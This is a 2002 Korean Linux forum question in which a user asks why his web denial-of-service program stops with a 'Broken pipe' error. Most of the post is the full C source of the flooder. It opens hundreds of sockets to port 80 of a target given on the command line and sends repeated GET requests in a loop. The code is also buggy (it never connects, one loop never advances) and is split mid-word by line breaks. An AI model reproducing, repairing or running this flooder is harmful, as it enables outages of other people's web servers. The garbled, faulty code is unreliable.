>> Read No. 38948 article  
[소스질문]WEB D.O.S 공격소스를 짜고 실행중...

등록 2002-01-06 19:05:00     조회 1
이름 shadow    

		포트 80번으로 GET /index.html을
100000만번 호출하게 했습니다.
소켓으로 연결하고 닫고 while루프안에 무수히 진행시켜서
소스를 짜고 컴파일 해서 실행시키는데.
실행하니.
Broken pipe 라는 문장이 뜹니다..그리고 실행은 여기서 멈추어 버립니다
대체 이게 무슨 말인지.. 궁금합니다.
답변해주세요..필요하시다면 제가 소스를 올려드리겠습니다.
책에 실린것을 변형한 소스입니다..
 -------------소스---------------------
 #include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
 #define LOPNUM 99999
 main(int argc,char *argv<>)
{
	char destination[128],webpath[128];
	char makeline[128];
	int connloop=0;
	int connect=0;
	int general_loop=0;
	int a,b,c,d;
	int sock[1000];
            int numsock=400;
	char host_dest[100];
	char enter[2];
 	struct hostent *target;
	struct sockaddr_in sock_dest;
 	enter[0]='';
	enter[1]='';
 	if(argc < 3)
	{
		fprintf(stdout,"Usage:%s <IP for attack> <webpath> 
",argv[0]);
		exit(0);
	}
	strcp
y(destination,argv[1]);
	strcpy(webpath,argv[2]);
 	if(sscanf(destination,"%d.%d.%d.%d",&a,&b,&c,&d) !=4)
	{
		target= g
ethostbyname(destination);
		if(target == NULL)
		{
		   fprintf(stdout,"Stop!.cannot resolve host %
s",destination);
 
		   exit(0);
		}
 		sprintf(host_dest,"%d.%d.%d.%d",(unsigned char)
target->h_addr_list[0][0],(unsigned char)target->h
_addr_list[0][1],
(unsigned char)target->h_addr_list[0][2],(unsigned char)target-
>h_addr_list[0][3]);
           
     
	}
	else
	{
		strncpy(host_dest,destination,99);
	}
 	fprintf(stdout," [Dos] attacking : %s",host_dest);
 	sock_
dest.sin_family = AF_INET;
	sock_dest.sin_port = htons(80);
	sock_dest.sin_addr.s_addr = inet_addr(host_dest);
 	while(c
onnloop <= LOPNUM)
	{
		while(general_loop < numsock)
		{
		sock[general_loop] = socket(AF_INET,SOCK_STREAM,0);
		if(soc
k[general_loop] < 0)
		{ 
			perror("connect");
			exit(0);	
		}
 		general_loop++;
	        }
 		strcpy(makeline,"G
ET ");
		strcat(makeline,webpath);
		strcat(makeline,enter);
 		general_loop=0;
		while(general_loop < numsock)
		{
			s
end(sock[general_loop],makeline,strlen
(makeline)*sizeof(char),0);
			general_loop++;
		}
		general_loop=0;
		while(gene
ral_loop < numsock)
		{
			close(sock[general_loop]);
		}
		connloop++;
	}
}
 --
오늘도 열심히
이름
암호


>> 관련글
38948 [소스질문]WEB D.O.S 공격소스를 짜고 실행중...  shadow  2002.01.06  ....
  답장 RE: [소스질문]WEB D.O.S 공격소스를 짜고 실행중...  shadow  2002.01.07  ....
Register [ localhost 목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 0.65 초 ] 작업시간: [ 0.33 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1789470078
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.